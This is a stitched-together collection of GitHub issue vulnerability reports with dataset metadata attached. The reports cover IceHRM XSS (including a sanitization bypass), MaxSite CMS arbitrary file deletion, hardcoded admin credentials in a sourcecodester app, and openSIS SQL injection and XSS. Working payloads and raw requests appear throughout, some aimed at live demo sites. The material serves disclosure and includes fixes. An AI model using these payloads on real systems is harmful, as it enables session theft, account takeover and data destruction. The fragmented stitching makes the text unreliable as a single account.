GET /login.php?key=%27;alert(document.cookie)// HTTP/1.1
Host: icehrmpro.gamonoid.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Alt-Used: icehrmpro.gamonoid.com
Connection: keep-alive
Cookie: PHPSESSID=6jua1ee8xx4s4cqcl3xxx9itr7;
Upgrade-Insecure-Requests: 1
```
Follow the link : [https://icehrmpro.gamonoid.com/login.php?key=%27;alert(document.cookie)//](https://icehrmpro.gamonoid.com/login.php?key=%27;alert(document.cookie)//) to test this vulnerability on the live demo version of the website.
### Occurence 2 : Request param `fm`
The payload passed `fm` gets sanitized by PHP code. This could be bypassed by adding an extra GET param `content` with the value `HTML`. Thus backend will not sanitize any user input.
```
GET /login.php?f=boo&fm=%3Cimg%20src=x%20onerror=alert(document.cookie)%3E&content=HTML HTTP/1.1
Host: icehrmpro.gamonoid.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Alt-Used: icehrmpro.gamonoid.com
Connection: keep-alive

# Description
The input sent to GET parameter `m` gets reflected in a script generated in the page, and isn't sanitized properly, leading to a Reflected XSS vulnerability.
You can try adding the payload `';alert(document.cookie);//` into the URL bar for `m` parameter, in any of the pages in IceHRM post login to see this in action.
The server is taking in the content of parameter 'm', and generates the following script in the response enclosed within `<script>` tags :
```javascript
$(document).ready(function() {
$(".dataTables_paginate ul").addClass("pagination");
var refId = "";
refId = 'admin_Admin';
$("[ref = '"+refId+"'] a").first().click();
});
```
The `refId` parameter has the value passed in through `m`, which is unsanitized & gets reflected in the page.
# Proof of Concept
1. login to the demo dashboard at [https://icehrmpro.gamonoid.com/](https://icehrmpro.gamonoid.com/)
2. Follow the link : [https://icehrmpro.gamonoid.com/?g=admin&n=dashboard&m=admin_Admin%27;alert(document.cookie)//](https://icehrmpro.gamonoid.com/?g=admin&n=dashboard&m=admin_Admin%27;alert(document.cookie)//)
# Impact
A malicious actor can craft a link that - when clicked by any user logged in (admin or normal user) - can cause a Reflected XSS attack. This could lead to the leak of session credentials.

# Description
An Authenticated user can set thier 'first name' to any unsanitized HTML or script.
IceHRM website fails to effectively filter html tags present in user input. This can cause malicious input sent by a logged in user to be stored on the database. This can lead to account takeover through cookie stealing of any other user who logs into the system, no other user interation is require.

1. Login as any user into the dashboard.
2. Send the following payload, meant for updating the 'first name' of the logged in user. You'll have to replace the `PHPSESSID` , with the session ID of any valid logged in (less privileged) user .

```
#3. Login into the 'admin' account & Go to the following page where the name of the less privileged user gets displayed - 'System > Users' . You'll be able to see the alert box with session cookie of 'admin' user.
The extra added `content = HTML` request parameter causes the backend to ignore sanitization of user input.
# Impact
A less privileged user can take over 'admin' account by stealing the session cookie.

#### Description of Vulnerability
Multiple Arbitrary File Deletion vulnerabilities in maxsite cms v 180 targeted towards web admin through admin/plugins/admin_page/all-files-update-ajax.php at the parameter dir and deletefile
#### affected source code:
at 15~34 in admin/plugins/admin_page/all-files-update-ajax.php
when the unlink() function is called and user input might affect portions of or the whole affected parameter, which represents the path of the file to remove, without sufficient sanitization. Exploiting the vulnerability allows an attacker to delete any file in the web root (along with any other file on the server that the PHP process user has the proper permissions to delete).
#### Proof of concept (Poc)
1. in http://cms108.com/admin/page_edit/3 select file to delete and Send the request directly through burp
2. .You can traverse the directory to delete any file
3. (Poc)
`dir=../&deletefile=del-test.php`

I belong to an open source security research community, and a member (@aug5t7) has found an issue, but doesn’t know the best way to disclose it.
If not a hassle, might you kindly add a `SECURITY.md` file with an email, or another contact method? GitHub [recommends](https://docs.github.com/en/code-security/getting-started/adding-a-security-policy-to-your-repository) this best practice to ensure security issues are responsibly disclosed, and it would serve as a simple instruction for security researchers in the future.
Thank you for your consideration, and I look forward to hearing from you!

Exploit Author: VIVEK PANDAY
Vendor Homepage: https://www.sourcecodester.com/
Software Link: https://www.sourcecodester.com/php/15162/home-owners-collection-management-system-phpoop-free-source-code.html
Tested on Windows10
Linkedln Contact: https://www.linkedin.com/in/vivek-panday-796768149
Hardcoded Credentials:
Hardcoded Passwords, also often referred to as Embedded Credentials, are plain text passwords or other secrets in source code. Password hardcoding refers to the practice of embedding plain text (non-encrypted) passwords and other secrets (SSH Keys, DevOps secrets, etc.) into the source code. Default, hardcoded passwords may be used across many of the same devices, applications, systems, which helps simplify set up at scale, but at the same time, poses a considerable cybersecurity risk.
[Attack Vectors]
An attacker can gain admin panel access using default credentials and do malicious activities
Proof Of Concept
1 Download source code from https://www.sourcecodester.com/php/15162/home-owners-collection-management-system-phpoop-free-source-code.html
2 Now unzip it and go to the Database folder here we can see one SQL file.
3 Now open that file using Notepad and there we can see admin credentials. but the password is encrypted .from pattern I identified that this is MD5 hash. so we can easily decrypt using crackstation.net or any hash cracker tools like Hashcat, John the ripper. | CVE-2022-25045 Home Owners Collection Management System — Use of Hard-coded Credentials in Source Code Leads to Admin Panel Access | https://api.github.com/repos/VivekPanday12/CVE-/issues/6/comments | 0 | 2022-02-09T09:00:10Z | 2022-05-18T10:22:16Z | https://github.com/VivekPanday12/CVE-/issues/6 | 1,128,242,995 | 6 | 3,271 |

] | ### Description
Due to lack of protection, parameters `table_name`, `field_name`, `id`, `field_id` can be abused to injection SQL queries to extract information from databases some other SQLi tricks, parameter `msg` can be used to inject XSS payload and steal user's cookie (and even takeover user's account)
As we can see, no security mechanism was implemented which resulted in a lot of vulnerabilities.
### Exploiting
**Injection point**:
`HTTP://demo/CheckDuplicateName.php?table_name=api_info+where+id=1+and+extractvalue(0x0a,concat(0x0a,(select+database())))--&field_name=&val=&field_id=&msg=`
In beneath, I've presented how information can be extracted via SQL injection. XSS can be exploited by giving the correct information in other parameters and inject Javascript code in `field_name`, `msg`.
**Request:**
<pre>
GET /CheckDuplicateName.php?table_name=api_info+where+id=1+and+extractvalue(0x0a,concat(0x0a,(select+database())))--&field_name=&val=&field_id=&msg= HTTP/1.1

### Solution
Add security functions such as `sqlSecurityFilter` to sanitize parameters before processing or printing out to the screen. For XSS, use `htmlentities` to properly encode the output. | XSS and Error based SQL injection in CheckDuplicateName.php | https://api.github.com/repos/OS4ED/openSIS-Classic/issues/198/comments | 4 | 2021-09-05T08:05:52Z | 2022-03-05T02:40:45Z | https://github.com/OS4ED/openSIS-Classic/issues/198 | 988,449,754 | 198 | 3,278 |

By injecting Javascript code, an attacker can steal the user's cookie and take over the user's account. This happened because of the lack of security implementation for`type` parameter. This was tested on demo website

### Solution:
Before using any user's input, make sure to verify and sanitize it properly, trust nothing that's sent from the client. In the case of XSS, please consider using `htmlentities()` function to encode the user's input before printing it out to the user's screen | Reflected XSS in EmailCheckOthers.php | https://api.github.com/repos/OS4ED/openSIS-Classic/issues/199/comments | 1 | 2021-09-05T10:01:03Z | 2021-09-06T18:56:07Z | https://github.com/OS4ED/openSIS-Classic/issues/199 | 988,469,984 | 199 | 3,279 |
